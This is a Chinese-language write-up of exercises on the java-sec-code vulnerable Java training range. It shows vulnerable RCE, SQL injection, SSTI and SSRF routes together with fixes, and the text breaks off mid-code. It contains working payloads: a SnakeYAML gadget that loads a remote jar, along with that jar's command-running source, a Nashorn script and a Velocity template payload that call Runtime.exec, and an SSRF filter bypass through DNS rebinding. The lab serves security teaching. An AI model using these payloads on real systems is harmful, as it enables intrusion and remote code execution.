java-sec-code靶场学习

  1. 一、RCE
    1. 1.路由/rce/runtime/exec
    2. 2.路由/rce/ProcessBuilder
    3. 3.路由/rce/jscmd
    4. 4.路由/rce/vuln/yarm
    5. 5.路由/rce/groovy
  2. 二、SQL注入
    1. 1.路由/sqli/jdbc/vuln
    2. 2.路由/sqli/jdbc/ps/vuln
    3. 3.路由/sqli/mybatis/vuln01
    4. 3.路由/sqli/mybatis/vuln02
    5. 4.路由/mybatis/orderby/vuln03
    6. sql注入修复与防护
      1. (1)预编译
      2. (2)waf
      3. (3)MyBatis防护
  3. 三、SSTI
    1. 1.路由/ssti/velocity
  4. 四、SSRF
    1. 1.路由/ssrf/urlConnection/vuln
    2. 2.路由/ssrf/HttpURLConnection/vuln
    3. 3.路由/ssrf/openStream
    4. 4.路由/ssrf/HttpSyncClients/vuln
    5. 5.路由/ssrf/restTemplate/vuln1
    6. 6.路由/ssrf/restTemplate/vuln2
    7. 7.路由/ssrf/hutool/vuln
    8. 8.路由/ssrf/denrebind/vuln
    9. SSRF修复与防护
      1. (1)限制协议使用
      2. (2)限制文件类型
      3. (3)http请求检查
        1. 方法1:
        2. 方法2:
        3. 方法3:
        4. 方法4:
        5. 方法5:
      4. (4)核心SSRF防护代码
  5. 五、CSRF
    1. 1.路由/csrf/post
    2. CSRF防护
  6. 六、XSS
    1. 1.路由/xss/reflect
    2. 2.路由/xss/stored
    3. XSS攻击防护
  7. 七、XXE
    1. 1.路由/xxe/xmlReader/vuln
    2. 2.路由/xxe/SAXBuilder/vuln
    3. 3.路由/xxe/SAXReader/vuln
    4. 4.路由/xxe/SAXParser/vuln
    5. 5.路由/xxe/Digester/vuln
    6. 6.路由/xxe/DocumentBuilder/vuln
    7. 7.路由/xxe/DocumentBuilder/xinclude/vuln
    8. 8.路由/xxe/XMLReader/vuln
    9. 9.路由/xxe/DocumentHelper/vuln
    10. 上述存在XXE漏洞库对比
      1. 统一漏洞利用payload:
      2. 统一修复代码
    11. 10.路由/xxe/xmlbeam/vuln
    12. 11.路由/ooxml/readxlsx
    13. 12.路由/xlsx-streamer/readxlsx
  8. 八、命令注入
    1. 1.路由/codeinject
    2. 2.路由/codeinject/host
    3. 漏洞修复
  9. 九、Cookie伪造
    1. 1.路由/cookie/vuln01
    2. 2.路由/cookie/vuln02
    3. 3.路由/cookie/vuln03
    4. 4.路由/cookie/vuln04
    5. 5.路由/cookie/vuln05
    6. 6.路由/cookie/vuln06
    7. 漏洞利用
  10. 十、CORS
    1. 1.路由/cors/vuln/origin
    2. 2.路由/cors/vuln/setHeader
    3. 3.路由/cors/vuln/crossOrigin
    4. 漏洞验证
    5. 漏洞防御
      1. (1)限制origin
      2. (2)WebMvcConfigurer设置Cors
      3. (3)spring security设置cors
      4. (4)自定义filter设置cors
      5. (5)CorsFilter设置cors
      6. (6)origin检查
  11. 十一、目录遍历
    1. 1.路由/path_traversal/vul
  12. 十二、文件上传
    1. 1.路由/file/upload
  13. 十三、SpEL表达式注入漏洞
    1. 1.路由/spel/vuln1
    2. 2.路由/spel/vuln2
    3. 漏洞修复
  14. 十四、Deserialize反序列化

  1. 一、RCE
    1. 1.路由/rce/runtime/exec
    2. 2.路由/rce/ProcessBuilder
    3. 3.路由/rce/jscmd
    4. 4.路由/rce/vuln/yarm
    5. 5.路由/rce/groovy
  2. 二、SQL注入
    1. 1.路由/sqli/jdbc/vuln
    2. 2.路由/sqli/jdbc/ps/vuln
    3. 3.路由/sqli/mybatis/vuln01
    4. 3.路由/sqli/mybatis/vuln02
    5. 4.路由/mybatis/orderby/vuln03
    6. sql注入修复与防护
      1. (1)预编译
      2. (2)waf
      3. (3)MyBatis防护
  3. 三、SSTI
    1. 1.路由/ssti/velocity
  4. 四、SSRF
    1. 1.路由/ssrf/urlConnection/vuln
    2. 2.路由/ssrf/HttpURLConnection/vuln
    3. 3.路由/ssrf/openStream
    4. 4.路由/ssrf/HttpSyncClients/vuln
    5. 5.路由/ssrf/restTemplate/vuln1
    6. 6.路由/ssrf/restTemplate/vuln2
    7. 7.路由/ssrf/hutool/vuln
    8. 8.路由/ssrf/denrebind/vuln
    9. SSRF修复与防护
      1. (1)限制协议使用
      2. (2)限制文件类型
      3. (3)http请求检查
        1. 方法1:
        2. 方法2:
        3. 方法3:
        4. 方法4:
        5. 方法5:
      4. (4)核心SSRF防护代码
  5. 五、CSRF
    1. 1.路由/csrf/post
    2. CSRF防护
  6. 六、XSS
    1. 1.路由/xss/reflect
    2. 2.路由/xss/stored
    3. XSS攻击防护
  7. 七、XXE
    1. 1.路由/xxe/xmlReader/vuln
    2. 2.路由/xxe/SAXBuilder/vuln
    3. 3.路由/xxe/SAXReader/vuln
    4. 4.路由/xxe/SAXParser/vuln
    5. 5.路由/xxe/Digester/vuln
    6. 6.路由/xxe/DocumentBuilder/vuln
    7. 7.路由/xxe/DocumentBuilder/xinclude/vuln
    8. 8.路由/xxe/XMLReader/vuln
    9. 9.路由/xxe/DocumentHelper/vuln
    10. 上述存在XXE漏洞库对比
      1. 统一漏洞利用payload:
      2. 统一修复代码
    11. 10.路由/xxe/xmlbeam/vuln
    12. 11.路由/ooxml/readxlsx
    13. 12.路由/xlsx-streamer/readxlsx
  8. 八、命令注入
    1. 1.路由/codeinject
    2. 2.路由/codeinject/host
    3. 漏洞修复
  9. 九、Cookie伪造
    1. 1.路由/cookie/vuln01
    2. 2.路由/cookie/vuln02
    3. 3.路由/cookie/vuln03
    4. 4.路由/cookie/vuln04
    5. 5.路由/cookie/vuln05
    6. 6.路由/cookie/vuln06
    7. 漏洞利用
  10. 十、CORS
    1. 1.路由/cors/vuln/origin
    2. 2.路由/cors/vuln/setHeader
    3. 3.路由/cors/vuln/crossOrigin
    4. 漏洞验证
    5. 漏洞防御
      1. (1)限制origin
      2. (2)WebMvcConfigurer设置Cors
      3. (3)spring security设置cors
      4. (4)自定义filter设置cors
      5. (5)CorsFilter设置cors
      6. (6)origin检查
  11. 十一、目录遍历
    1. 1.路由/path_traversal/vul
  12. 十二、文件上传
    1. 1.路由/file/upload
  13. 十三、SpEL表达式注入漏洞
    1. 1.路由/spel/vuln1
    2. 2.路由/spel/vuln2
    3. 漏洞修复
  14. 十四、Deserialize反序列化

一、RCE

1.路由/rce/runtime/exec

漏洞代码:

@GetMapping("/runtime/exec")
    public String CommandExec(String cmd) {
        Runtime run = Runtime.getRuntime();
        StringBuilder sb = new StringBuilder();

        try {
            Process p = run.exec(cmd);
            BufferedInputStream in = new BufferedInputStream(p.getInputStream());
            BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
            String tmpStr;

            while ((tmpStr = inBr.readLine()) != null) {
                sb.append(tmpStr);
            }

            if (p.waitFor() != 0) {
                if (p.exitValue() == 1)
                    return "Command exec failed!!";
            }

            inBr.close();
            in.close();
        } catch (Exception e) {
            return e.toString();
        }
        return sb.toString();
    }

该代码通过GET请求接收一个cmd参数,接收到的字符串用exec命令执行,利用方式如下:

image-20240927145407277

2.路由/rce/ProcessBuilder

漏洞代码:

@GetMapping("/ProcessBuilder")
    public String processBuilder(String cmd) {

        StringBuilder sb = new StringBuilder();

        try {
            String[] arrCmd = {"/bin/sh", "-c", cmd};
            ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);
            Process p = processBuilder.start();
            BufferedInputStream in = new BufferedInputStream(p.getInputStream());
            BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
            String tmpStr;

            while ((tmpStr = inBr.readLine()) != null) {
                sb.append(tmpStr);
            }
        } catch (Exception e) {
            return e.toString();
        }

        return sb.toString();
    }

该代码通过GET请求接收一个cmd参数,利用ProcessBuilder类调用操作系统进程进行命令执行。这里需要注意的是,在windows系统中要这么写:

String[] arrCmd = {"cmd.exe", "/c", cmd};

利用过程:

image-20240927151028420

3.路由/rce/jscmd

漏洞代码:

@GetMapping("/jscmd")
    public void jsEngine(String jsurl) throws Exception{
        // js nashorn javascript ecmascript
        ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
        Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);
        String cmd = String.format("load(\"%s\")", jsurl);
        engine.eval(cmd, bindings);
    }

该代码通过远程加载一个js脚本代码,然后通过ScriptEngine类解析执行,我们的js脚本代码如下:

var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("calc.exe");

由于该命令执行无回显,我们通过调用计算器的方式证明命令成功执行:

image-20240927152514570

4.路由/rce/vuln/yarm

漏洞代码:

 @GetMapping("/vuln/yarm")
    public void yarm(String content) {
        Yaml y = new Yaml();
        y.load(content);
    }

该代码利用SnakeYAML存在的反序列化漏洞来rce,在解析恶意 yml 内容时会完成指定的动作,实现命令执行。我们所加载的yaml文件如下:

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://127.0.0.1/yaml-payload.jar"]
  ]]
]

jar是我们远程加载的恶意文件,其源码如下:

package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("whoami");
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public String getEngineName() {
        return null;
    }

    @Override
    public String getEngineVersion() {
        return null;
    }

    @Override
    public List<String> getExtensions() {
        return null;
    }

    @Override
    public List<String> getMimeTypes() {
        return null;
    }

    @Override
    public List<String> getNames() {
        return null;
    }

    @Override
    public String getLanguageName() {
        return null;
    }

    @Override
    public String getLanguageVersion() {
        return null;
    }

    @Override
    public Object getParameter(String key) {
        return null;
    }

    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }

    @Override
    public String getOutputStatement(String toDisplay) {
        return null;
    }

    @Override
    public String getProgram(String... statements) {
        return null;
    }

    @Override
    public ScriptEngine getScriptEngine() {
        return null;
    }
}

因为是使用了ScriptEngineFactory接口,该接口中存在抽象方法所以要对一些抽象方法进行重构。使用下面命令打包生成jar文件

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

payload链接:https://github.com/artsploit/yaml-payload

漏洞验证:

image-20240927162828252

漏洞修复:

Yaml y = new Yaml(new SafeConstructor());

5.路由/rce/groovy

漏洞代码:

@GetMapping("groovy")
public void groovyshell(String content) {
    GroovyShell groovyShell = new GroovyShell();
    groovyShell.evaluate(content);
}

利用groovy进行命令执行,漏洞利用如下:

image-20240927163939476

二、SQL注入

1.路由/sqli/jdbc/vuln

漏洞代码:

@RequestMapping("/jdbc/vuln")
    public String jdbc_sqli_vul(@RequestParam("username") String username) {

        StringBuilder result = new StringBuilder();

        try {
            Class.forName(driver);
            Connection con = DriverManager.getConnection(url, user, password);

            if (!con.isClosed())
                System.out.println("Connect to database successfully.");

            // sqli vuln code
            Statement statement = con.createStatement();
            String sql = "select * from users where username = '" + username + "'";
            logger.info(sql);
            ResultSet rs = statement.executeQuery(sql);

            while (rs.next()) {
                String res_name = rs.getString("username");
                String res_pwd = rs.getString("password");
                String info = String.format("%s: %s\n", res_name, res_pwd);
                result.append(info);
                logger.info(info);
            }
            rs.close();
            con.close();


        } catch (ClassNotFoundException e) {
            logger.error("Sorry, can't find the Driver!");
        } catch (SQLException e) {
            logger.error(e.toString());
        }
        return result.toString();
    }

漏洞成因代码:

String sql = "select * from users where username = '" + username + "'";

GET接收到的参数直接与SQL语句进行拼接,可以通过闭合引号实现绕过,验证如下:

image-20240927165141332

2.路由/sqli/jdbc/ps/vuln

漏洞代码:

@RequestMapping("/jdbc/ps/vuln")
public String jdbc_ps_vuln(@RequestParam("username") String username) {

    StringBuilder result = new StringBuilder();
    try {
        Class.forName(driver);
        Connection con = DriverManager.getConnection(url, user, password);

        if (!con.isClosed())
            System.out.println("Connecting to Database successfully.");

        String sql = "select * from users where username = '" + username + "'";
        PreparedStatement st = con.prepareStatement(sql);

        logger.info(st.toString());
        ResultSet rs = st.executeQuery();

        while (rs.next()) {
            String res_name = rs.getString("username");
            String res_pwd = rs.getString("password");
            String info = String.format("%s: %s\n", res_name, res_pwd);
            result.append(info);
            logger.info(info);
        }

        rs.close();
        con.close();

    } catch (ClassNotFoundException e) {
        logger.error("Sorry, can't find the Driver!");
        e.printStackTrace();
    } catch (SQLException e) {
        logger.error(e.toString());
    }
    return result.toString();
}

漏洞成因代码:

 String sql = "select * from users where username = '" + username + "'";
            PreparedStatement st = con.prepareStatement(sql);

这里虽然使用了prepareStatement进行预编译处理,可是sql语句在进入prepareStatement之前就已经和GET接收的参数进行拼接,因此仍不起到防护作用,复现过程同上。

image-20240927170714658

3.路由/sqli/mybatis/vuln01

漏洞代码:

public List<User> mybatisVuln01(@RequestParam("username") String username) {
        return userMapper.findByUserNameVuln01(username);
    }

再来看函数findByUserNameVuln01定义:

@Select("select * from users where username = '${username}'")
    List<User> findByUserNameVuln01(@Param("username") String username);

该代码使用 MyBatis框架,用来指定 SQL 查询语句。**${username}**:在这里,username 是直接拼接到 SQL 查询中的。这意味着输入的内容会直接插入到 SQL 语句中,而不会进行任何预处理或转义。因此我们仍然可以用上面的方法进行SQL注入。

image-20240927171602990

修复代码:

@Select("select * from users where username = #{username}")

3.路由/sqli/mybatis/vuln02

漏洞代码:

 @GetMapping("/mybatis/vuln02")
    public List<User> mybatisVuln02(@RequestParam("username") String username) {
        return userMapper.findByUserNameVuln02(username);
    }

再来看函数findByUserNameVuln02定义

List<User> findByUserNameVuln02(String username);

去掉了映射关系,不影响漏洞存在,仍可用原payload:

image-20240927172317279

4.路由/mybatis/orderby/vuln03

漏洞代码:

 @GetMapping("/mybatis/orderby/vuln03")
    public List<User> mybatisVuln03(@RequestParam("sort") String sort) {
        return userMapper.findByUserNameVuln03(sort);
    }

再来看函数findByUserNameVuln03定义

List<User> findByUserNameVuln03(@Param("order") String order);

使用MyBatis框架中的order字段,换用下面方法进行注入:

image-20240927174250625

sql注入修复与防护

(1)预编译

String sql = "select * from users where username = ?";
PreparedStatement st = con.prepareStatement(sql);

(2)waf

 private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$");
 public static String sqlFilter(String sql) {
        if (!FILTER_PATTERN.matcher(sql).matches()) {
            return null;
        }
        return sql;
    

(3)MyBatis防护

@Select("select * from users where username = #{username}")

三、SSTI

1.路由/ssti/velocity

漏洞代码:

  @GetMapping("/velocity")
    public void velocity(String template) {
        Velocity.init();

        VelocityContext context = new VelocityContext();

        context.put("author", "Elliot A.");
        context.put("address", "217 E Broadway");
        context.put("phone", "555-1337");

        StringWriter swOut = new StringWriter();
        Velocity.evaluate(context, swOut, "test", template);
    }
}

Apache Velocity是一个基于模板的引擎,用于生成文本输出(例如:HTML、XML或任何其他形式的ASCII文本),它的设计目标是提供一种简单且灵活的方式来将模板和上下文数据结合在一起,因此被广泛应用于各种Java应用程序中包括Web应用。具体Apache Velocity引擎的应用可以看这篇博客

Velocity.evaluate

Velocity.evaluate是Velocity引擎中的一个方法,用于处理字符串模板的评估,Velocity是一个基于Java的模板引擎,广泛应用于WEB开发和其他需要动态内容生成的场合,Velocity.evaluate方法的主要作用是将给定的模板字符串与上下文对象结合并生成最终的输出结果,这个方法通常用于在运行时动态创建内容,比如:生成HTML页面的内容或电子邮件的文本,方法如下所示:

public static void evaluate(Context context, Writer writer, String templateName, String template)

参数说明:

  • Context context:提供模板所需的数据上下文,可以包含多个键值对
  • Writer writer:输出流,用于写入生成的内容
  • String templateName:模板的名称,通常用于调试信息中
  • String template:要评估的模板字符串

我们可以构造如下payload:

#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")

image-20240930110431275

成功模板注入。

四、SSRF

1.路由/ssrf/urlConnection/vuln

漏洞代码:

    @RequestMapping(value = "/urlConnection/vuln", method = {RequestMethod.POST, RequestMethod.GET})
    public String URLConnectionVuln(String url) {
        return HttpUtils.URLConnection(url);
    }

再来看函数UrlConnection的定义:

   public static String URLConnection(String url) {
        try {
            URL u = new URL(url);
            URLConnection urlConnection = u.openConnection();
            BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //send request
            String inputLine;
            StringBuilder html = new StringBuilder();

            while ((inputLine = in.readLine()) != null) {
                html.append(inputLine);
            }
            in.close();
            return html.toString();
        } catch (Exception e) {
            logger.error(e.getMessage());
            return e.getMessage();
        }
    }

这里我们可以用文件读取协议file:/实现访问,也可以访问到内网的其他主机

image-20240930115111649

2.路由/ssrf/HttpURLConnection/vuln

漏洞代码:

@GetMapping("/HttpURLConnection/vuln")
public String httpURLConnectionVuln(@RequestParam String url) {
    return HttpUtils.HttpURLConnection(url);
}

来看函数HttpUrlConnection定义:

    public static String HttpURLConnection(String url) {
        try {
            URL u = new URL(url);
            URLConnection urlConnection = u.openConnection();
            HttpURLConnection conn = (HttpURLConnection) urlConnection;
//             conn.setInstanceFollowRedirects(false);
//             Many HttpURLConnection methods can send http request, such as getResponseCode, getHeaderField
            InputStream is = conn.getInputStream();  // send request
            BufferedReader in = new BufferedReader(new InputStreamReader(is));
            String inputLine;
            StringBuilder html = new StringBuilder();

            while ((inputLine = in.readLine()) != null) {
                html.append(inputLine);
            }
            in.close();
            return html.toString();
        } catch (IOException e) {
            logger.error(e.getMessage());
            return e.getMessage();
        }
    }

这里用HttpURLConnection类进行了一个强转,限制只能使用http/https协议,但可以访问内网其他主机:

image-20240930143648191

3.路由/ssrf/openStream

    @GetMapping("/openStream")
    public void openStream(@RequestParam String url, HttpServletResponse response) throws IOException {
        InputStream inputStream = null;
        OutputStream outputStream = null;
        try {
            String downLoadImgFileName = WebUtils.getNameWithoutExtension(url) + "." + WebUtils.getFileExtension(url);
            // download
            response.setHeader("content-disposition", "attachment;fileName=" + downLoadImgFileName);

            URL u = new URL(url);
            int length;
            byte[] bytes = new byte[1024];
            inputStream = u.openStream(); // send request
            outputStream = response.getOutputStream();
            while ((length = inputStream.read(bytes)) > 0) {
                outputStream.write(bytes, 0, length);
            }

        } catch (Exception e) {
            logger.error(e.toString());
        } finally {
            if (inputStream != null) {
                inputStream.close();
            }
            if (outputStream != null) {
                outputStream.close();
            }
        }
    }

可以通过这个路由实现任意文件下载:

image-20240930145400529

4.路由/ssrf/HttpSyncClients/vuln

漏洞代码:

    @GetMapping("/HttpSyncClients/vuln")
    public String HttpSyncClients(@RequestParam("url") String url) {
        return HttpUtils.HttpAsyncClients(url);
    }

HttpAsyncClients函数:

 public static String HttpAsyncClients(String url) {
        CloseableHttpAsyncClient httpclient = HttpAsyncClients.createDefault();
        try {
            httpclient.start();
            final HttpGet request = new HttpGet(url);
            Future<HttpResponse> future = httpclient.execute(request, null);
            HttpResponse response = future.get(6000, TimeUnit.MILLISECONDS);
            return EntityUtils.toString(response.getEntity());
        } catch (Exception e) {
            return e.getMessage();
        } finally {
            try {
                httpclient.close();
            } catch (Exception e) {
                logger.error(e.getMessage());
            }
        }
    }

未对SSRF进行检查,存在漏洞:

image-20240930160113322

5.路由/ssrf/restTemplate/vuln1

漏洞代码:

 @GetMapping("/restTemplate/vuln1")
    public String RestTemplateUrlBanRedirects(String url){
        HttpHeaders headers = new HttpHeaders();
        headers.setContentType(MediaType.APPLICATION_JSON_UTF8);
        return httpService.RequestHttpBanRedirects(url, headers);
    }

这段代码使用 Spring RestTemplate 来进行 HTTP 请求,并禁止了重定向,但不影响直接访问:

image-20240930161505278

6.路由/ssrf/restTemplate/vuln2

漏洞代码:

   @GetMapping("/restTemplate/vuln2")
    public String RestTemplateUrl(String url){
        HttpHeaders headers = new HttpHeaders();
        headers.setContentType(MediaType.APPLICATION_JSON_UTF8);
        return httpService.RequestHttp(url, headers);
    }

这个不禁止重定向了,直接就可以SSRF

image-20240930162139227

7.路由/ssrf/hutool/vuln

漏洞代码:

@GetMapping("/hutool/vuln")
public String hutoolHttp(String url){
    return HttpUtil.get(url);
}

换汤不换药,该库也能SSRF,不过禁止了重定向:

image-20240930162620184

8.路由/ssrf/denrebind/vuln

漏洞代码:

@GetMapping("/dnsrebind/vuln")
public String DnsRebind(String url) {
    java.security.Security.setProperty("networkaddress.cache.negative.ttl" , "0");
    if (!SecurityUtil.checkSSRFWithoutRedirect(url)) {
        return "Dangerous url";
    }
    return HttpUtil.get(url);
}

checkSSRFWithoutRedirect函数:

 /**
     * 不能使用白名单的情况下建议使用该方案。前提是禁用重定向并且TTL默认不为0。
     * 存在问题:
     *  1、TTL为0会被绕过
     *  2、使用重定向可绕过
     *
     * @param url The url that needs to check.
     * @return Safe url returns true. Dangerous url returns false.
     */
    public static boolean checkSSRFWithoutRedirect(String url) {
        if(url == null) {
            return false;
        }
        return !SSRFChecker.isInternalIpByUrl(url);
    }

isInternalIpByUrl函数:

public static boolean isInternalIpByUrl(String url) {

        String host = url2host(url);
        if (host.equals("")) {
            return true; // 异常URL当成内网IP等非法URL处理
        }

        String ip = host2ip(host);
        if (ip.equals("")) {
            return true; // 如果域名转换为IP异常,则认为是非法URL
        }

        return isInternalIp(ip);
    }

添加了IP检查,修改一下dns解析即可绕过,方法如下:

给本地的hosts文件添加一条解析记录:

192.168.1.43 www.baidu.com

然后就可以实现ssrf:

image-20240930165613203

SSRF修复与防护

(1)限制协议使用

修复代码:

@GetMapping("/urlConnection/sec")
    public String URLConnectionSec(String url) {

        // Decline not http/https protocol
        if (!SecurityUtil.isHttp(url)) {
            return "[-] SSRF check failed";
        }

        try {
            SecurityUtil.startSSRFHook();
            return HttpUtils.URLConnection(url);
        } catch (SSRFException | IOException e) {
            return e.getMessage();
        } finally {
            SecurityUtil.stopSSRFHook();
        }

    }

isHttp函数定义:

 public static boolean isHttp(String url) {
        return url.startsWith("http://") || url.startsWith("https://");
    }

禁用掉了除http/https以外的协议,添加了SSRF检查。

image-20240930142358450

(2)限制文件类型

修复代码:

   @GetMapping("/ImageIO/sec")
    public String ImageIO(@RequestParam String url) {
        try {
            SecurityUtil.startSSRFHook();
            HttpUtils.imageIO(url);
        } catch (SSRFException | IOException e) {
            return e.getMessage();
        } finally {
            SecurityUtil.stopSSRFHook();
        }

        return "ImageIO ssrf test";
    }

imageIO函数:

public static void imageIO(String url) {
        try {
            URL u = new URL(url);
            ImageIO.read(u); // send request
        } catch (IOException e) {
            logger.error(e.getMessage());
        }

    }

使用 Spring 框架的控制器方法,用于进行一个 URL 请求,并通过调用 ImageIO 处理该 URL 指定的图片。同时,它还利用了某种安全机制来防止 SSRF(服务器端请求伪造)攻击。

(3)http请求检查

方法1:
    @GetMapping("/okhttp/sec")
    public String okhttp(@RequestParam String url) {

        try {
            SecurityUtil.startSSRFHook();
            return HttpUtils.okhttp(url);
        } catch (SSRFException | IOException e) {
            return e.getMessage();
        } finally {
            SecurityUtil.stopSSRFHook();
        }

    }

okhttp函数:

public static String okhttp(String url) throws IOException {
    OkHttpClient client = new OkHttpClient();
    com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build();
    return client.newCall(ok_http).execute().body().string();
}
方法2:
 @GetMapping("/httpclient/sec")
    public String HttpClient(@RequestParam String url) {

        try {
            SecurityUtil.startSSRFHook();
            return HttpUtils.httpClient(url);
        } catch (SSRFException | IOException e) {
            return e.getMessage();
        } finally {
            SecurityUtil.stopSSRFHook();
        }

    }

httpClient函数:

public static String httpClient(String url) {

        StringBuilder result = new StringBuilder();

        try {

            CloseableHttpClient client = HttpClients.createDefault();
            HttpGet httpGet = new HttpGet(url);
            // set redirect enable false
            // httpGet.setConfig(RequestConfig.custom().setRedirectsEnabled(false).build());
            HttpResponse httpResponse = client.execute(httpGet); // send request
            BufferedReader rd = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent()));

            String line;
            while ((line = rd.readLine()) != null) {
                result.append(line);
            }

            return result.toString();

        } catch (Exception e) {
            return e.getMessage();
        }
    }
方法3:
@GetMapping("/commonsHttpClient/sec")
public String commonsHttpClient(@RequestParam String url) {

    try {
        SecurityUtil.startSSRFHook();
        return HttpUtils.commonHttpClient(url);
    } catch (SSRFException | IOException e) {
        return e.getMessage();
    } finally {
        SecurityUtil.stopSSRFHook();
    }

}

commonHttpClient函数:

    public static String commonHttpClient(String url) {

        HttpClient client = new HttpClient();
        GetMethod method = new GetMethod(url);

        try {
            client.executeMethod(method); // send request
            byte[] resBody = method.getResponseBody();
            return new String(resBody);

        } catch (IOException e) {
            return "Error: " + e.getMessage();
        } finally {
            // Release the connection.
            method.releaseConnection();
        }
    }
方法4:
    @GetMapping("/Jsoup/sec")
    public String Jsoup(@RequestParam String url) {

        try {
            SecurityUtil.startSSRFHook();
            return HttpUtils.Jsoup(url);
        } catch (SSRFException | IOException e) {
            return e.getMessage();
        } finally {
            SecurityUtil.stopSSRFHook();
        }

    }

Jsoup函数:

   public static String Jsoup(String url) {
        try {
            Document doc = Jsoup.connect(url)
//                    .followRedirects(false)
                    .timeout(3000)
                    .cookie("name", "joychou") // request cookies
                    .execute().parse();
            return doc.outerHtml();
        } catch (IOException e) {
            return e.getMessage();
        }
    }
方法5:
  @GetMapping("/IOUtils/sec")
    public String IOUtils(String url) {
        try {
            SecurityUtil.startSSRFHook();
            HttpUtils.IOUtils(url);
        } catch (SSRFException | IOException e) {
            return e.getMessage();
        } finally {
            SecurityUtil.stopSSRFHook();
        }

        return "IOUtils ssrf test";
    }

IOUtils函数:

  public static void IOUtils(String url) {
        try {
            IOUtils.toByteArray(URI.create(url));
        } catch (IOException e) {
            logger.error(e.getMessage());
        }
    }

对比 OkHttp、HttpClient、CommonHttpClient、Jsoup 和 IOUtils

这五种库各自有不同的特点,适用于不同的场景。下面从几个关键维度(如功能、灵活性、复杂性、性能、适用场景等)对它们进行比较。

库名称 功能概述
OkHttp 一个现代化、功能丰富且高性能的 HTTP 客户端库,支持同步与异步请求、连接池、超时控制、自动重定向、WebSocket 支持等。
HttpClient Apache HttpComponents 提供的 HTTP 客户端,功能丰富,支持连接管理、重定向、认证、代理等。适用于复杂的 HTTP 请求场景。
CommonHttpClient 较旧版本的 Apache HTTP Client(HttpClient 3.x 系列),虽然功能较强,但已经被废弃,主要是为了向下兼容一些老系统。
Jsoup 主要用于解析和操作 HTML 文档,同时提供 HTTP 请求功能,适用于 Web 抓取、解析和处理网页数据,不专注于纯粹的 HTTP 通信。
IOUtils Apache Commons IO 提供的工具类库,专注于流处理,提供简单的 API 来读取、写入和转换流,toByteArray 只是从 URL 读取数据的一种方式,较简单的 HTTP 请求方式。
库名称 灵活性与配置
OkHttp 高度可配置,支持请求超时、拦截器、缓存控制、连接池、异步请求、重定向管理等功能,适合需要灵活 HTTP 请求的场景。
HttpClient 提供复杂的 HTTP 配置,包括连接池、代理设置、认证、连接超时、请求超时、重定向策略等,适合大规模、复杂的 HTTP 通信场景。
CommonHttpClient 提供类似的功能,但由于是过时的版本,缺乏现代 HTTP 客户端的一些性能和灵活性优化。
Jsoup 主要功能在于解析 HTML 文档,它的 HTTP 请求配置选项较少,支持超时、重定向控制、Cookie、User-Agent 等少量配置,专注于网页抓取和 HTML 处理。
IOUtils IOUtils 只是简单地将资源转换为字节流,几乎没有 HTTP 请求的配置选项,适合读取小型资源,不适合复杂的 HTTP 通信,无法配置代理、重定向等高级功能。
库名称 复杂性
OkHttp 复杂度适中,提供直观的 API,适合需要灵活 HTTP 请求且对性能有要求的应用程序。
HttpClient 功能强大,但相对复杂,适合需要精细控制 HTTP 请求行为的场景。
CommonHttpClient 与 HttpClient 类似,但较旧,API 较复杂,不建议在新项目中使用。
Jsoup 非常简单易用,尤其在网页抓取和 HTML 解析方面;但对于复杂的 HTTP 通信场景并不适用。
IOUtils 简单且功能有限,适用于简单的数据读取操作,代码简洁,但不支持复杂的 HTTP 请求场景
库名称 性能
OkHttp 性能非常好,支持连接池、缓存等优化措施,在高并发场景下表现优异。
HttpClient 性能不错,提供了复杂场景下的优化策略,适合高负载的应用程序,但相对于 OkHttp 来说稍重。
CommonHttpClient 性能较弱,缺乏现代 HTTP 客户端的一些优化(如连接池管理),由于 API 已过时,性能不如 OkHttp 和 HttpClient。
Jsoup 在处理 HTML 文档方面性能不错,但在 HTTP 请求方面不如 OkHttp 或 HttpClient 高效。
IOUtils 性能较低,因为它不提供连接池和高级 HTTP 优化机制,只适合小型资源的读取,在大数据或高频请求场景中表现不佳。
库名称 适用场景
OkHttp 适用于大多数 HTTP 通信场景,包括同步和异步请求、API 调用、RESTful 服务、WebSocket 通信等,特别适合需要高性能和灵活性的场景。
HttpClient 适用于复杂的 HTTP 通信场景,尤其是需要代理、身份认证、重定向管理等高级功能的项目。
CommonHttpClient 主要用于老旧项目的兼容,或老系统中遗留的代码库,已经被弃用,不建议在新项目中使用。
Jsoup 适合 Web 爬虫和 HTML 解析任务,能够方便地处理和操作 HTML 页面,主要用于抓取网页并从中提取数据,不适合复杂 HTTP 请求配置的场景。
IOUtils 适用于简单的数据读取场景,如从 URL 读取小型文件、图像等,适合轻量级任务,但不适合频繁请求或复杂的 HTTP 请求场景。

总结

  • OkHttp 是一个现代且灵活的 HTTP 客户端,性能好,适用于大多数 HTTP 通信任务。
  • HttpClient 更适合复杂的 HTTP 通信场景,有较强的功能支持,如认证、重定向等,但相对复杂,适合大型项目。
  • CommonHttpClient 已经过时,主要用于老项目的兼容,不推荐在新项目中使用。
  • Jsoup 适合处理 HTML 解析任务和轻量的 HTTP 请求,专注于网页抓取和数据提取。
  • IOUtils 则是一个简化的工具,主要用于读取 URL 内容并转换为字节流,适合简单的小数据传输。

(4)核心SSRF防护代码

修复代码:

public class SocketHook {

    public static void startHook() throws IOException {
        SocketHookFactory.initSocket();
        SocketHookFactory.setHook(true);
        try{
